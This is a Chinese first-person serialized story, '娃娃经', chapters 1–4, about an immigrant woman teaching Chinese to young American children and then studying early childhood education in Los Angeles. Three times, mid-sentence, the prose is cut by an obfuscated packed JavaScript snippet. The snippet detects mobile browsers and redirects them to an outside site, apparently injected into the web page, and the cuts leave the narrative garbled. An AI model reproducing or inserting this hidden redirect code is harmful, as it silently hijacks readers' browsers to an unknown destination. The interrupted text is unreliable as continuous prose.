《娃娃经》 1. 第一章 两个小天使 若干年前,我留学回国在长安街沿线一栋写字楼里当白领,老公在美国西南内陆沙漠中的一座小城做博士后,恰逢美国绿卡排期大幅提前,为了能在美国工作,老公递交了绿卡申请,我作为家属重返美国与老公团聚,从此开始了漫长的移民监生活。(作者注:开局婚姻仅为背景设定,服务于主线,无任何感情线。) 我们住在位于沙漠中心河谷地带一座十分精致整洁的小城,远处群山连绵,城内道路规整,屋舍俨然,所有建筑物的颜色统一成红黄灰三种色调,房屋周围和道路两旁种满了用地下水精心浇灌养护的绿植花草和棕榈树。因为地处沙漠,这里一年中有五个月是三十五摄氏度以上的酷夏,夏季气温更是时常达到四十五摄氏度以上,在室外待几分钟就有中暑的危险,但是冬季却温暖宜人,被美国人称作“天堂”,每年许多美国东北部和加拿大的有钱人飞来这里过冬,待天气热了再离开,俗称“候鸟”。 我们在一个很大的小区里租了一小套公寓,这里有几百户住户,游泳池、健身房一应俱全,小区管理处的活动中心还会不时举办“周日早餐”、“桌游之夜”之类的活动,然而对于当年那个深受中国主流价值观熏陶、一路读书工作力争上游的我来说,每日赋闲在家游手好闲无异于是一种酷刑折磨,仿佛突然间被抛出了社会主流体系之外,年纪轻轻就被迫虚度大好年华,感觉整个人都快要发霉了。 这种无所事事的生活过了大半年,某天一位小区的女住户在活动中心递给我一张名片,微笑着说:“我提供私人补课辅导,你如果有需要可以给我打电话。” 我低头看了看手里那张自制的名片,突然产生了一个思路:我也可以教美国人中文呀! 这个想法一出现我立刻兴奋不已,兴冲冲跑到公共图书馆借来几本教中文的书籍作为参考着手编制教程,又打印了一些广告贴在小区和附近的社区大学里,老公还说:“别到时候一个人都招不到哦,多贴一点。” 我却信心满满,心道“光我们小区就有几百户人家,就算百分之一的概率也有不少人了,保不准到时候还要开一个中文班呢”,不过为防万一还是又在网上发布了一份电子广告。 然而想象很美好,现实却很骨感,广告发出去几天都无人问津,就在我想着要不要再增加些广告时,电子邮箱里突然出现一封邮件,一位自称即将从英国带儿子回美国度假的医生母亲想让我给她儿子单独上课,向我询问费用以及我的姓名、电话、地址。 我很高兴——第一笔生意终于开张了,于是十分认真地回复了一封态度恳切、内容详尽、措辞严谨的邮件,将相关信息告知对方。 第二天邮箱里又出现一封邮件,同样是从英国送孩子回美国度假,同样要求单独授课,同样向我询问费用并要我提供个人信息,我心里感到一阵凉意,几乎已经可以确定被骗了。 必须承认我受到了沉重的打击,原来一切只是梦幻泡影一场空,但更令人难以忍受的是那种被愚弄的感觉,如果仅仅无人问津倒也罢了,就让我承认失败,一个人默默舔舐伤口吧,可偏偏遇到的尽是些网上无聊的骗子,仿佛是对我的恣意嘲笑,无异于又在伤口上狠狠揉进一把盐,尤其昨晚回复邮件时我如同小学生写作文一般认真,遣词造句都推敲半天,还老老实实附上精确到门牌号码的详细地址——想到这些我的心苦涩极了。 然而人生就是这样,再无法忍受也得受,后来又陆续收到两封越来越离谱的邮件,竟让我帮着安排旅馆、兑现支票,那个医生母亲居然也回复了,同样让我帮她兑现支票,没想到还是一出连续剧。 我冷眼看着这些人表演,已经变得波澜不惊,人被彻底打倒在地倒也踏实了,一切从零开始,有一分都是赚,经过这次挫折我的心态倒豁然开朗,从前那些功名利禄的想法突然变得轻飘飘的,再也困不住我了。 再后来又陆续接到两通询问课程的电话,都是问过之后再无下文。贴在小区里的广告仍然纹丝不动,现在它们仿佛已经成了我的耻辱,我早已无心再招学生,趁晚上没人的时候把剩下的广告统统撕下来揉成团扔进垃圾箱才觉安心。 距离第一次贴出广告已经过去一个月,在我早已决定放弃、差不多要把这件事忘记的时候,一天早晨手机突然响了,我接起来,里面传来一位女士的声音:“你好,我叫朱迪,看见你在网上的广告,我有两个女儿,一个六岁一个四岁,她们想上中文课,明天下午可以开始吗?” 挂上电话我好像还在梦中,感到事情顺利得不可思议,费尽心思折腾了一个月,过程一波三折,结果竹篮打水,没想到却在我已经放下的时候以迅雷不及掩耳之势实现了,真是踏破铁鞋无觅处,得来全不费功夫。 那时我并不知道,命运的齿轮已经开始转动,这其实只是一个开端,借着教中文的契机让我接触到两个无比可爱的小天使,从此踏上一段探索小孩子的世界的旅程。 接到朱迪的电话之后,我立刻紧锣密鼓地开始准备中文教程和教具,因为即将面对的学生是两个幼儿,教程也需要进行相应调整,我在网上找到许多卡通图片制作打印成中文字词卡,去一美元店购买了彩笔、贴纸、用作教具的小玩具和给小孩子涂颜色玩的空白画册,又在沙发前的茶几对面摆上两只塑料小凳子——这就是我给两个孩子准备的“小课堂”了。 第二天着实紧张了一番,把家里收拾得一尘不染,同时在心理上做好再次被骗的准备——经历了前面那么多次失败,我的期望值早已降至为零,只怕又是一场空欢喜。 直到约定时间的前两分钟,我听见屋外传来叽叽喳喳的说话声,透过窗户看见一小群人浩浩荡荡从房前经过,才终于确定,这件事真的成了! 打开房门,迎面看见两个洋娃娃似的小姑娘,大一点的一头柔顺的栗色披肩长发,戴着一根细细的红色发箍,眼睛大而狭长,相貌甜美,温柔乖顺;小一点的圆圆的眼睛,翘翘的鼻子,一头金色的长卷发在脑后扎了一个高高的马尾,十分精灵还有点小淘气的模样;她们身后跟着一位三四十岁年纪、容貌姣好、身材匀称、举止优雅的典型中产阶级白人女士和一位六七十岁、面容和善、胖胖的老太太。 我热情地招呼她们进屋,双方互相简单介绍和寒暄一番后,我得知那位中年女士正是给我打电话的朱迪,两个女孩大的叫凯茜,小的叫林肯(小姑娘居然取了一个美国历史上男性政治人物的名字),随行的老太太是她们的外婆。 我坐在沙发上开始给孩子上课,朱迪和外婆在一旁的餐桌边坐下陪同,凯茜和林肯还有些认生和害羞,表现得怯怯的,很乖地听课。 为了激发两个孩子对中文的兴趣,第一节课我着重带她们了解汉字的起源和趣味性,拿出事先准备的带图片的字卡向她们一边展示一边讲解:“最初中国人写字就像画画,看见天上的太阳点一个点画一圈光晕,后来就演变成了今天的‘日’;看见月亮画一个弯弯的月牙,后来就演变成了‘月’;‘雨’就像窗户上落的一滴滴雨滴,‘伞’则像一把撑开的小伞,而‘飞’像一只小鸟长着两个翅膀,这样才能飞起来;“一”就是画一横,“二”就是画两横,“三”就是画三横,不过“四”不再是画四横,后面就开始变化了……” 小姐妹听得津津有味,第一堂课进行得很顺利,临走时朱迪预付了三节课的费用,约好以后每周上一次课,就这样,我开始了与凯茜和林肯每周一次的中文课。 后来朱迪不再出现,每次只由凯茜和林肯的外婆陪同,外婆是位手工爱好者,总会在包里带上各种卡片、缎带、珠子之类的手工材料,凯茜和林肯上课的时候她就在旁边的餐桌上做各种手工,圣诞节的时候还自制了两张精美的贺卡,让小姐妹写上歪歪扭扭的名字送给我。 我为每节中文课设置了日常用语、复习上节课的内容、学习新的内容和游戏四个环节:进门时我会用中文向凯茜和林肯问好,她们就会对我说“你好,我是凯茜”,“你好,我是林肯”,临走时要用中文说“再见”,上课过程中还会夹杂一些比如“这是什么”,“那是什么”,“我要喝水”等常用语;每次学习新内容之前我会带她们复习一遍上周学过的内容,每周的学习内容会围绕一个主题,比如这周学习数字一到十,下周学习各种颜色,再下周学习家庭成员的称谓;最后我会带她们做一些小游戏把学过的知识融会贯通,临走时再每人发一张纸,上面印着当天学过的内容,让她们带回家“温故而知新”。 每次上课前我都会花很多时间准备教程,挖空心思将游戏与中文教学结合起来,尽力做到寓教于乐,比如用游戏《你拍一我拍一》帮助她们记忆数字一到十以及一些日常动作的说法: “你拍一我拍一,一个小孩开飞机; 你拍二我拍二,两个小孩打电话; 你拍三我拍三,三个小孩吃饼干……” 再比如在学习家庭成员的称谓时,我设计了《拯救家人》的游戏,将一个玩具小火车头放在茶几上,后面拖着一串家庭成员的卡通图片,对凯茜和林肯说:“这是一辆非常危险的火车,你们如果用中文说出一位家人的称呼,就可以从火车上救下那位家人。” 这极大地调动了小姐妹的积极性,凯茜和林肯绞尽脑汁地一个个说出“爸爸”“妈妈”“爷爷”“奶奶”“哥哥”“姐姐”,当她们说到最喜欢的“宝宝”时,姐妹俩居然激动得紧紧拥抱在一起,几乎热泪盈眶,兴奋地叫道:“我们救出了宝宝!” 那一刻我看着眼前两个天真无邪的孩子,内心仿佛有一种东西被涨得满满的,在我眼里她俩分明才是宝宝,却为了能救出比她们更加弱小的“宝宝”(哪怕只是一张小纸片上的卡通图案)如此欣喜若狂,实在是叫人觉得既可爱又感动。 那天下课时林肯还问我:“可不可以在我过生日的时候把小火车头送给我?” 孩子的天真可爱时常令我莞尔,有一次我戴了一条坠着一颗黄水晶吊坠的项链,那节课林肯从头到尾一直好奇地盯着我的脖子看,临走时我弯腰向她们道别,水晶吊坠垂在胸前,林肯装作不经意的样子一边对我说着“再见”,一边飞快地伸手在我的吊坠上扫了一下,然后迅速转身像没事人一样头也不回地走掉了。 我不禁觉得好笑,她应该想摸摸我的吊坠想了一整节课了吧?临走时终于得逞还要装出一副不经意的样子——呵,亲爱的小孩,其实你完全可以告诉我,我非常乐意把项链从脖子上取下来,让你好好地摸一摸、看一看、研究一番,满足你的小小心愿。 通常孩子来上课时卧室的门总是关着,于是那扇门的后面对林肯来说成了一个十分神秘的空间,有一次当我开门进卧室拿东西的时候,林肯立刻跑过来紧紧跟在我身后,伸着小脑袋好奇地直往卧室里瞧,惹得她的外婆急忙在餐桌边出声喝止:“林肯,回来!”因为未经同意窥探别人的卧室是很不礼貌的行为。 如果跟在我身后的是一个成年人,我可能会感到尴尬,但是面对这样一个对一切充满好奇的宝宝我却只觉得可爱,这种人之初彼此间的毫不设防其实是一种十分宝贵的东西,却随着我们的长大、成熟、世故变得越来越稀有。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437765|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们的公寓在小区的最边上,阳台隔着一条人行小道对着土黄色的院墙,院墙边生长着几棵高大的松树,阴翳蔽日,这在沙漠地带实属难得。有一次孩子的外婆带了太多手工活,我于是下课后帮她一起拿到车上,林肯从松树前经过时停下来捡了许多掉落的松果,她的外婆看见叮嘱道:“只能带三个回家。”然后叹了口气,对我说:“每次都是这样。” 林肯闻言蹲下身将捡到的松果在地上摊开排成如士兵般整齐的一列,然后在其中挑来选去,却看着这个也好望着那个也好,一时间无法割舍,简直烦恼极了,凯茜见状也上前贴心地帮她一起挑选。 我站在一旁看着阳光从树叶的间隙落下,洒在蹲在树下专心挑拣松果的两个小姑娘身上,第一次发现生活原来可以这样简单、美好。 每节中文课的最后五到十分钟我会让小姐妹放松一下,自由地用我从一美元店买的一盒可以从塑料笔杆里拧出来的彩色蜡笔给空白画册涂色,这几乎是她们最喜欢的环节,通常这时候我会和她们的外婆聊聊天,获知了许多她们的日常生活片段:听说朱迪曾经开过一家花店,因为节假日需要看店没时间陪伴孩子,所以现在转行做了医药代表;又听说她们有许多舅舅和姨妈,大家经常在一起聚会,每隔一段时间她们全家就会去山上的度假木屋呆上几天,冬天在那里滑雪;圣诞节凯茜和林肯收到了一把小提琴和一只小狗作为圣诞礼物,她们还给小狗起了一个叫做“悉尼泰迪熊”的逗趣名字;新年外婆带着她们一起用废旧纸盒和报纸做了一条看上去有点像狗的龙;暑假凯茜决定要学习跳舞和高尔夫球,朱迪还向我打听哪里有中文夏令营;最近她们从外婆那里得到几颗蝴蝶卵,打算孵化蝴蝶…… 这是两个家境优渥、从小在爱中长大的孩子,所以性格纯净美好得如同水晶一般,她们就像两个不期而至的小天使突然来到我的生活中,又像一缕温暖的阳光照进我的生命里,为我苦闷停滞的状态带来了意外的光亮和希望。 我渐渐在教学准备上投入得越来越多,早已不再计较能够获得多少回报,还特意到商店里挑选了两把带卡通图案的专用儿童椅给凯茜和林肯用,两个孩子第一次见到新椅子都新奇不已,这里摸摸那里看看,简直爱不释手。 回中国探亲时我专门去书店挑选了几盒不同版本的识字卡片,表姐还把女儿小时候识字用的许多小册子全都贡献出来让我带回美国。 在一间礼品店里我无意间看到两个巴掌大的小娃娃,一个像凯茜,一个像林肯,本想买下来送给她俩一人一个当作礼物,可是后来觉得两个娃娃实在太可爱,就改变主意自己留下了,因为这样仿佛就可以把凯茜和林肯永远留在身边。 然而再美好的相聚总有分离的那一天,就在教凯茜和林肯中文届满一年的一天早上,朱迪突然打来电话说:“彦岚,姑娘们想休息一下,付给你的学费到目前为之有拖欠吗?” 我回答:“上次预付的支票还够今天下午的课。” 挂上电话我才后知后觉地意识到,那天下午的中文课可能将是我给凯茜和林肯上的最后一堂中文课了。 突然之间心灰意懒,仿佛失去了所有的生活支柱,现在给凯茜和林肯上课对我来说已经成为一种莫大的享受,如果就此要和她们分别我真有一万个不舍。 无力地倒在床上,任由自己沉浸在一时巨大的震惊和悲伤中,那一刻我竟然体会到了空巢父母眼睁睁看着孩子离开自己时的心境。 终于暗自苦笑一下,重新站了起来,生活仿佛就是这样,不断得到,又不断失去,没有什么是能够一直牢牢抓在手里的,那就只能放手继续向前走。 调整心情,彻底做好和这段日子告别的心理准备,我甚至给两个孩子准备了告别礼物。 下午上课时孩子的外婆对我说:“她们只是休息四到六周左右,朱迪到时候会再和你联系。” 可是这时我的心已经淡了,甚至有些意兴阑珊,觉得随便怎样都可以接受。 那天上课的内容是模拟在餐厅里如何点餐和询问价钱,凯茜和林肯玩得非常开心,临走时林肯咧着嘴笑望着我却不说话,拉着我的手摇啊摇,满眼都是对我的喜爱,我也笑望着她,内心所有的情感最终化作一句:“你是最棒的!” 那是我对林肯说的最后一句话。 一切冥冥中似乎早已注定,一个多月后老公找到新工作,我们要搬去另一个州开始全新的生活,我将这个消息发邮件告诉朱迪和孩子的外婆,并在临走前去邮局给凯茜和林肯寄了一个小包裹,里面有林肯想要作为生日礼物的小火车头,还有一盒新买的蜡笔是给凯茜的,这两样东西都是我们上课时的教具,我想留给她们做个纪念。 邮局的工作人员看见东西是寄给小朋友的,而邮费远远超过了东西本身的价值,对我格外和善。 几天后收到朱迪的回邮,说林肯看见小火车开心极了,凯茜则兴奋地拿着蜡笔在家里到处涂色。 我偶尔仍会在孩子外婆的社交媒体上看到凯茜和林肯的点滴近况,得知后来她们跟随父母搬去了英国。最后一次看到她们的一张照片,凯茜已经长成了亭亭玉立的淑女,林肯则是一副聪慧顽皮的少年模样。 这段关系和经历为我带来了极大的精神上的滋养,也给了我一个启发,我由此突然很想从事与幼儿相关的工作,追根溯源,去探寻人类最初的本质,因为我们每一个人都是从小孩子过来的,只是在长大的过程中渐渐忘记了来路。 而哪里幼儿最多呢,当然是幼儿园呀——对,我要当幼儿园老师! 2. 第二章 冰冷的眼神 在教凯茜和林肯中文大约半年的时候,一天老公在网上看到有人为两岁半的女儿寻找中文母语的儿童看护,便怂恿我去应征,我也想多一些教学经验,尤其是针对这么小的孩子,于是决定去试一试。 与名叫桑德拉的女雇主取得联系约好面试时间,我开车按照地址来到城北一片新开发的住宅区,新建成不久的小区里光秃秃的没什么绿化,一眼能望见后面大片浅黄色的荒地和远山连绵的天际线。 我有些忐忑地按下门铃,来开门的是一位二十七八岁年纪、体型健美、相貌标致的西班牙裔女子,在她身后跟着一个棕色短卷发、仍在蹒跚学步的小娃娃,身上穿着一件淡紫色的公主裙——那是我第一次见到波恩,两岁半的幼儿眸子里却见不到一点孩童的纯真,眼神冰冷,两个大大的眼袋,看上去像个老人。 我相信每个人从出生那一刻起便拥有与众不同的独立灵魂,透过眼睛可以窥知一二,而孩子的灵魂应该是最本真的,眼睛也最为清澈,却不知这样一个小小的幼童,眼神里为何会有如此不相称的寒意。 我们在客厅的沙发上坐下,桑德拉先问了我一些常规的问题,在略显正式的面试之后又闲聊了几句,她兴奋地告诉我:“波恩在八个月还不会说话的时候就已经学过手语,我对波恩有一个宏大的计划:在家波恩和爸爸用英语交流,和我用西班牙语交流,现在再让波恩学中文,这样她就掌握了世界的四分之三,半年后我们全家打算去中国旅行,由波恩来当翻译,将来我们还要送波恩到中国上寄宿学校。” 最后她说:“我打算支付的报酬是每小时十美元。” 这个价格低得令我吃惊,当地看护孩子的标准时薪是十五美元,况且还要教中文,而朱迪付给我的费用是每节课四十美元。 我回答:“我现在在做中文家教,有四到六岁孩子的教学经验,想试试教两岁半的波恩,要求的时薪是十五美元。” 桑德拉犹豫了一下:“我需要和我丈夫商量一下,还要见见另外一两名候选人。” 几天后桑德拉打来电话,定下每周两次课,每次两小时。 第一次去给波恩上课时见到了她的爸爸麦克,一个身材健美、相貌英俊、与桑德拉年龄相仿的白人男子,和桑德拉看上去很般配,不过在家里常常一副懒散冷漠的样子。 桑德拉和麦克一个是急诊科医生一个是律师,均属于传统意义上的精英人士,可能因为入行不久,再加上刚买房子,目前他们的经济并不算宽裕,家里还请了一位墨西哥钟点工帮忙打理家务兼带孩子,我猜测她的时薪就是十美元。 波恩家有许多儿童书籍、无数玩具和几乎全套迪士尼人物服装,她的房间里和门外的墙上在她视线的高度贴满了各种识字图卡、时间表、计划表和奖励表格,规定她每天每周要做些什么。 作为医生的桑德拉对波恩的饮食也有严格限制,禁止她吃任何不健康的食物,如果想吃甜食只能吃葡萄干和甜菜根,完成计划表上的事项时才可以得到一颗糖果作为奖励。 第一次给波恩上课并不顺利,我按照桑德拉的指令从一个小筐里拿起各种玩具模型用中文一一告诉波恩是什么,更要命的是,桑德拉对女儿学习中文的期望很高,上课时的参与感很强,总是亲自下场用刚从我这里学去的不标准的中文给波恩做示范,结果“玉米”变成了“日米”,“苹果”变成了“屁股”,而波恩却憎恨中文课,拒绝开口,被妈妈罚暂停活动后仍然坚持拒绝道歉,导致课程一度无法进行下去。 我望着波恩倔强和充满敌意的眼神,不知道她将来会成为一个什么样的人,或许很厉害,掌握了众多技能,成为另一个年轻有为的律师或医生,或者外交官、政客、商人,收入高,权力大? 可是我记住的却是一个孩子眼里不该有的冰冷,当她用有限的英语词汇说“我的”、“出去”,用威胁性的语气指着我命令道“再也不许这样”,不高兴时抡起塑料玩具球棒重重打在我的腿上,我除了难过,还有对她深深的忧虑,因为她根本不明白自己在做什么,现在的她是一个混合体,绝大多数时候是个可爱的小娃娃,可是假以时日,将来呢? 通过一两次课的观察分析,我决定对波恩采取完全跟从和极力表扬的策略,并在她的各种日常活动中尽量掺入中文。每周两次开车□□,跟着小毛头一刻不停地满屋子又跑又跳,说实话真的很累,可我对于每一个出现在生命中的人和事总有种逆来顺受的宿命感,觉得一旦开始无论如何都应该忍耐和坚持下去,做到善始善终。 断奶不久的波恩有十几个不同花色的安慰奶嘴,总喜欢时刻在嘴里叼上一个,桑德拉为了让她开口说中文把安慰奶嘴从她嘴里拔出来,她如天崩地裂一般张嘴尖叫,可是只要把奶嘴塞回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437766|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,她立刻停止尖叫,好像刚才什么也没发生过一样,简直比开关还管用。没事的时候波恩就喜欢在自己的小床上盘她的十几个宝贝奶嘴,数过来数过去不知疲倦,我从来不知道断奶期的小孩子对安慰奶嘴竟如此迷恋,趁机教她用中文从一数到十几,效果居然很好——哈哈,可惜她没有一百个奶嘴。 经过一段时间调理,波恩不少中文词汇已能朗朗上口,对中文课兴趣大增,这其实是个很聪明的孩子,只要她愿意就能学得飞快。桑德拉看见成效也对我多了一些信任,不再参与教学,给了我更多空间和自由。 在教三个孩子中文的过程中我发现了一个有趣的现象,孩子年龄越小中文发音越纯正,六岁的凯茜舌头好像开始硬了,许多中文无论怎么教都说不利索,四岁的林肯相比起来发音要标准得多,而两岁半的波恩只要学会的中文闭上眼睛听妥妥就是一个中国小孩,所以学外语要趁早啊! 在遇到凯茜、林肯和波恩之前,我对幼儿完全不了解甚至存在诸多误解,可自从和几个娃娃学生深入接触,许多事实颠覆了我的认知,让我时常惊叹于幼儿强大的潜力。 刚见到波恩时,我为了与她拉近距离提出比赛看谁爬得快,本以为自己作为大人手长腿长会有很大优势,没想到包着尿不湿的波恩“一骑绝尘”,藕节似的小肉胳膊小肉腿倒腾得飞快,把我远远甩在了后头,那一刻我深切感受到了来自婴幼儿“纯阳之体”的蓬勃生命力。 两岁半的波恩刚开始学说话不久,许多英语还不会表达,有一次她想从高高的橱柜里拿一样东西却不知道怎么说,就先用手指指我,再将两只小手掐住自己的腰,又伸直做出上举的姿势,整套动作行云流水,我立刻领会到她这是让我把她抱起来她自己拿,原来小孩子只是不会说话,其实心里什么都知道。 我抱起波恩,她立刻习惯性地用两条有力的小肉腿紧紧箍住我的腰,我这才发现抱小孩原来这么轻松,绝大部分力都被她分担了,我只需轻轻拢住她的上半身即可。 波恩以肉眼可见的速度飞快地成长着,每一次我去她家都能看见她明显的变化,眼见着她蹒跚的脚步越来越稳,原先有些佝偻的腰身越来越挺,从需要慢慢挪动步伐到满屋子又跑又跳,会说的话也越来越多,每次分别时还用胖嘟嘟的小嘴主动向我献上一吻——孩子只要得到一点爱,便马上返还给这个世界。 3. 第三章 “帮我!” 波恩学会的中文里使用频率最高、最有用的一个短语就是“帮我”,起初我经常听见波恩嘴里反复念叨着“哈密”“哈密”,仔细辨认才明白原来是英文“help me”,也就是“帮助我”的意思——这个世界对于一个两岁半的孩子来说时常力有不逮,瓶子打不开、袜子穿不上、高处的东西够不着,总是需要大人帮忙。 我于是趁机教会她精简的“帮我”二字,只有说出这句中文她才能得到我的帮助,这两个字对波恩来说就像一句神奇的咒语,只要念动就能召唤来我的援手,从此波恩“帮我”“帮我”不离口,有时想让自己的爸爸妈妈帮忙也用这句中文,不过可就不灵了。 不久桑德拉告诉我她又怀二胎了,凭借优越的脑力和体力,她每天在急诊室进行高强度的工作,在家里要照顾两岁半的孩子,有点闲暇还怀着肚子里的宝宝去健身房健身,桑德拉在我眼里简直就是一个女铁人。 有一次趁我在的时候,桑德拉和我打了声招呼又抽空去小区健身房锻炼,起先我和波恩相处融洽,然后她开始用一个小瓢把水从碗里舀到一只小杯子里,水从杯子里溢出漫到桌上,我让她停下来,她置若罔闻,继续往杯子里舀水,眼见水就要从桌上流到地毯上,我提高声音说了句:“No! ” 就是这句英文的“不”惹下大祸,波恩嚎啕大哭,我这才知道这个性格强势的小孩听不得一个“不”字。 我把她抱起来试图安抚她,她一双小肉腿仍然习惯性地紧紧夹住我的腰,哭声却丝毫不减,全无停下来的打算。 偏偏就在这时麦克回家目睹现场,他气愤地抓起手机打电话给桑德拉,几分钟后桑德拉急匆匆赶回来,麦克严厉地训斥桑德拉:“你不应该把波恩一个人留在家!” 麦克其实对桑德拉的育儿理念并不赞同,却无法阻止强势的妻子在孩子身上各种折腾,再加上工作、新晋奶爸、财务状况种种压力,于是借着这件事将压抑的不满爆发了出来。 我在一旁尴尬得脚趾差点抠出三室一厅,桑德拉不愧常年在急诊室工作,情绪稳定地默默听完麦克的斥责,然后保持平静对我说:“彦岚,今天就到这里,你先回去吧。” 我于是忐忑不安又如释重负地赶紧离开了那所仿佛随时会爆炸的房子。 麦克虽然发了一通脾气,却拗不过桑德拉钢铁般的意志,在这场小小的风波之后中文课继续进行,只是桑德拉会确保家里总是有人。 一天波恩跑到前院,我跟在她身后,院子不大,一组带秋千和绳梯的儿童木屋和一个充气蹦床差不多就占去了一半,周围三面木板高墙隔绝了外界,让人感到有些窒息。 波恩坐到秋千上让我推她,嘴里说着:“Higher, higher!” 我乘势教她中文:“高一点。” 她就说:“高一点,高一点!” 玩了一会儿秋千,她又转战蹦床,蹦床靠近廊下墙边,墙根处落了许多死去的不知名的飞虫,有一寸来长,形状像蚊子,翅膀像飞蛾。 波恩惊恐地望着地面,我用英文问她:“你害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437767|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕吗?” 她点点头。 我安慰道:“不用怕,它们不咬人。” 几个月后,我们在城南的市中心买了一小套公寓,距离波恩家一下子远了许多,开车来回要一个多小时,每次仅汽油费就要多出不少,再加上路上额外耗费的时间,又不是一份很愉快的差事,实在难以为继。犹豫再三,我鼓起勇气向桑德拉说明了情况,请她加一些课时费覆盖多出来的汽油钱和一部分我在路上的时间,却最终没有谈拢,于是教波恩中文的这段经历便不了了之了。 回家的路上,本有些暗哑的天空丝丝缕缕划着些淡粉色的云,衬着柔和的浅蓝色天空煞是好看,前方的红云顺着地平线恣意摊开,象一只展翅的凤凰,又仿佛一朵绽放的红牡丹,渐渐竟越来越红,越来越亮,铺满了整个天空。 似凤凰展翅的夕阳美景在我们居住的沙漠一带并不罕见,可是今天的却又格外不同,瑰丽中透着神圣,随着光越来越亮,每一根凤凰的尾羽或牡丹的纤长花瓣映射着边缘一小排水墨色的云,眼前仿佛出现了一片雪后初晴、水平如镜的湖面,明晃晃的洒满金光,却又笼在一层缥缈的薄雾中,那些水墨色的云则形成了远处湖岸的树木和倒影。 人在如此海市蜃楼般奇妙的景象前立刻胸中舒爽,那些烦心事统统都变得无足轻重了。 车开进小区,看见一个男青年手里举着一架专业相机站在一辆卡车的拖斗上频频按动快门,我回家取了相机出来,美景已经所剩无几,匆匆拍了两张,天空只剩下几抹暗红了。 4. 第四章 住在美国的墨西哥 刚买下新公寓三个月,受美国次贷危机影响,老公的公司倒闭了,他在外州找到一份新工作,后来又因为一些原因,我们在不到一年的时间里被命运之神驱赶着搬了三次家,一次次远离才刚熟悉的环境,丢开好不容易建立的社会关系,放弃辛苦布置停当的一个个家,最终在美国西部最大的城市,号称“天使之城”的洛杉矶落脚。 位于美国西海岸的洛杉矶阳光明媚、气候宜人,可是洛杉矶的街道又脏又破,公寓又贵又小又破,我们好不容易在老公工作的学校附近一片墨西哥人聚居的地区找到一套十分狭小但还算能看得过去、租金也不会让我们破产的公寓,勉强塞进去从上一个家带来的所有家具。 这一片地区的治安在洛杉矶排名几乎倒数,晚上是不敢出门的,偶尔还会看见某条马路中间的电线上挂着一双旧鞋,据说那是帮派划分地盘的标志。 好在我们的公寓位于这个地区最核心的地段,往北一个街区是一条繁华的商业街,各种店铺、餐馆林立,往南一个街区是图书馆和警察局,从那里再向东一个街区就是地铁站,相对来说还算安全便利。 公寓在一栋二层的筒子楼里,外墙刷成亮眼的粉色,楼下有一道带花纹的铁门,门口种了两棵高高的棕榈树,算得上是沿街一排筒子楼当中最好看的一栋,楼里住了十几户租户,我们非常幸运地租到了二楼沿街位置最好的两套公寓之一。 身居闹市,虽说不上鸡犬相闻,却时常能听见隔壁筒子楼的窗户里传出欢快的墨西哥风格的歌曲声、马路上经过的售卖食物的卡车播放的音乐声、甚至偶尔走街串巷的小贩的拨浪鼓声。街角有一位卖水果的墨西哥大妈,面前的玻璃橱罩里摆放着削了皮的完整的菠萝、橙子、蜜瓜、火龙果、西瓜等一切水果,我总是很好奇她是怎么把水果削成那样的。在洛杉矶生活的两年,我感觉自己好像一直生活在墨西哥。 虽然一直辗转动荡,当幼儿园老师的想法却始终在我心里未曾忘记,安顿下来之后我开始着手上网研究如何在美国成为一名幼儿园老师。我不想再耗费数年时光去读一个幼儿教育专业的文凭,只想尽快达到成为幼儿教师的最低门槛,根据加州教育系统的规定,获得初级幼教资格证必须修满十二学分共计四门基础课程外加一个学期的实习,经过一番实地考察和比较,我最终选择在市立学院修读儿童教育课程。 市立学院的儿童教育系原先在一栋旧楼里,前两年系里新盖了一栋现代化的教学楼,我入学时刚巧幸运地赶上新教学楼投入使用,教室和桌椅全都是崭新的。 新楼的一楼和院子是学院附属幼儿园,学生们在二楼上课,授课的老师几乎是清一色的白人女教师,学生则各个种族和年龄的都有,而其中和我最没有距离感的居然是两位孟加拉女同学,一个二十出头,一个四十来岁,连预热都不需要,上来就主动和我打成一片,仿佛多年闺中密友。 孟加拉信奉□□教,二十多岁的那个女同学总是裹着一条浅色头巾,牢牢遮住头发和脖子,只露出一张素面朝天的脸,看上去像个尼姑,但是这并不妨碍她课间兴致勃勃地和我聊各种八卦,还把她结婚时的相册带给我看,照片上的她穿着大红色织金线的纱丽,浑身戴满金首饰,化着浓妆露出浓密的黑色长发,居然是个美女。 四十岁的女同学则比较世俗化,没戴头巾,任由一头棕黄色的卷发裸露着,像个姐姐似的和我们一起闲聊,又像个妈妈似的对我嘘寒问暖,还时常热心地把保温杯里的奶茶分给我们喝。 